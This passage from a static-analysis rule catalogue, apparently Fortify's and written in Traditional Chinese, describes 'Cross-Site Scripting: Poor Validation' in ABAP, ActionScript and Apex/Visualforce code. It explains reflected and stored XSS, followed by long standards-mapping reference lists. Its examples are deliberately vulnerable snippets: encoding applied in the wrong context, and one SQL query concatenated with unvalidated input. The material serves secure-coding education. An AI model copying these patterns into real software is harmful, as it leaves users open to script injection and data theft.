UNESCAPED = itab_employees-name
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_name.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( e_name ).
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ActionScript 程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,使用 HTML 加以編碼並顯示給使用者。


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + escape(eid);
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 ActionScript 程式碼片段會在資料庫中查詢具有所指定識別碼的員工,並列印相應 HTML 編碼的員工姓名。


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + escape(name);
}


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.actionscript.cross_site_scripting_poor_validation
Abstract
將未經驗證的資料傳送到網頁瀏覽器可能會導致執行惡意程式碼。
Explanation
由於在使用者提供的資料與網頁瀏覽器解析器之間存在大量可能的互動,因此並非始終都能適當地評估套用的編碼是否足以防範 XSS 弱點。因此,即使套用編碼,並以 Cross-site scripting 來加以顯示,Fortify Static Code Analyzer 還是會報告 Cross-site scripting 發現:Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入 Web 應用程式。如果是 Reflected XSS,不可信賴的來源大多為 Web 要求;如果是 Persistent XSS (也可稱為 Stored XSS),來源大多為資料庫查詢結果。

2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

惡意內容通常為 JavaScript 程式碼片段,但也可以是 HTML、Flash 或瀏覽器可執行的任何其他作用中內容。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Apex 程式碼片段會在資料庫中查詢具有指定 ID 的聯絡人名稱並傳回對應的員工姓名 (之後由 Visualforce 程式碼進行列印)。


...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...

<div onclick="this.innerHTML='Hello {!HTMLENCODE(variable)}'">Click me!</div>


儘管使用 HTMLENCODE,此程式碼也不會適當驗證資料庫所提供的資料,並且容易遭到 XSS 攻擊。發生這種情況的原因是,variable 內容由不同機制 (HTML 和 Javascript 解析器) 剖析,因此必須進行兩次編碼。這樣一來,攻擊者可以在使用者的網頁瀏覽器中執行惡意指令,而無需與受害者進行互動 (類似於 Reflected XSS)。此類攻擊稱為 Stored XSS (或 Persistent XSS),可能非常難以偵測,因為資料是以間接方式提供給易受攻擊的函數,並且由於影響多個使用者的可能性,此類攻擊的影響會更強烈。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

範例 2:以下 Visualforce 程式碼片段會讀取 HTTP 要求參數 username,並向使用者顯示。


<script>
document.write('{!HTMLENCODE($CurrentPage.parameters.username)}')
</script>


此範例中的程式碼旨在僅接收英數文字並加以顯示。但是,如果 username 包含中繼字元或來源程式碼,則會由網頁瀏覽器執行。此外,在此範例中,使用 HTMLENCODE 不足以避免 XSS 攻擊,因為變數由 Javascript 解析器進行處理。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。有兩種途徑可執行 XSS 攻擊:

- 如 Example 1 所述,資料庫或其他資料儲存區會向應用程式提供將包含在動態內容中的危險資料。從攻擊者的角度來看,儲存惡意內容的最佳位置是可供所有使用者 (尤其是擁有較高權限的使用者) 存取的區域,這些使用者更有可能會處理敏感資訊或執行關鍵作業。

- 如 Example 2 所述,會從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者將危險內容傳遞至易受攻擊的 Web 應用程式,然後回傳給使用者並透過其瀏覽器執行時,會出現 Reflected XSS。傳遞惡意內容最常用的機制就是,將惡意內容當作參數包含在公開發佈的 URL 中,或者以電子郵件方式直接傳送給受害者。透過此方式修改的 URL 是許多釣魚架構的核心,其中攻擊者會誘騙受害者造訪該 URL。當網站回傳內容給使用者後便會加以執行,並且可執行多個動作,例如轉送隱私、敏感的資訊、在受害者電腦上執行未經授權的作業等。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Salesforce Developers Technical Library Secure Coding Guidelines - Cross Site Scripting
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
